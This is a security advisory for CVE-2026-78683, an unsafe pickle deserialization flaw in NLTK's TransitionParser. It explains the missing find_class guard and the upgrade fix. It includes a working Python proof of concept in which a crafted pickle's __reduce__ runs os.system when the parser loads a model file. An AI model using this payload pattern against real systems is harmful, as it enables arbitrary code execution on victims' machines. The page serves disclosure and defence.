criticalCVE-2026-78683Sep 8, 2026

CVE-2026-78683: nltk Unsafe Pickle Deserialization in TransitionParser

Rohit Hatagale
AI Security Researcher, SecureLayer7

NLTK's TransitionParser loads model files with Python's pickle without any class restrictions, letting an attacker execute arbitrary code by supplying a crafted model file.

Packagenltk
Ecosystempip
Affected<= 3.9.4
Fixed in3.10.0

The problem

TransitionParser.parse() opens a caller-supplied model path and passes it to pickle_load() with the default restricted=False. That routes deserialization through WarningUnpickler, which inherits from pickle.Unpickler without overriding find_class(), so every class and callable in the Python environment is reachable during unpickling.

NLTK already ships RestrictedUnpickler specifically for this threat, but no production call site ever passes restricted=True. The safe path exists and is simply never taken, making the exposure easy to trigger and hard to miss in a code audit.

Proof of concept

A working proof-of-concept for CVE-2026-78683 in nltk, with the exact payload below.

python
import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Step 1: craft the malicious model file
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Step 2: trigger the vulnerable load path
parser = TransitionParser('arc-standard')   # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')

# Result on <= 3.9.4: /tmp/nltk_poc_triggered is created (os.system executed)
# Result on >= 3.10.0: _pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

Python's pickle protocol lets any serialized object embed a __reduce__ method that names an arbitrary callable plus arguments. When pickle.Unpickler.load() processes the stream it calls find_class(module, name) to resolve that callable. WarningUnpickler never overrides find_class(), so it delegates straight to the base implementation, which imports and returns any globally accessible object (os.system, subprocess.Popen, etc.).

The patch in commit f26b375 (PR #3631) changes all four unsafe call sites to pass restricted=True, routing deserialization through RestrictedUnpickler, which raises UnpicklingError for any class outside an explicit allowlist. The CWE-502 root cause is the absence of a find_class() guard on a deserialization path that accepts attacker-supplied file paths.

The fix

Upgrade to nltk >= 3.10.0. The fix (commit f26b375, PR #3631) changes every pickle_load() call site in transitionparser.py and chartparser_app.py to use restricted=True, enforcing RestrictedUnpickler for all model loading. If you cannot upgrade immediately, never pass untrusted or user-supplied paths to TransitionParser.parse().

Reported by Litesh Ghute (@LiteshGhute).

References: [1][2][3][4][5][6]

Related research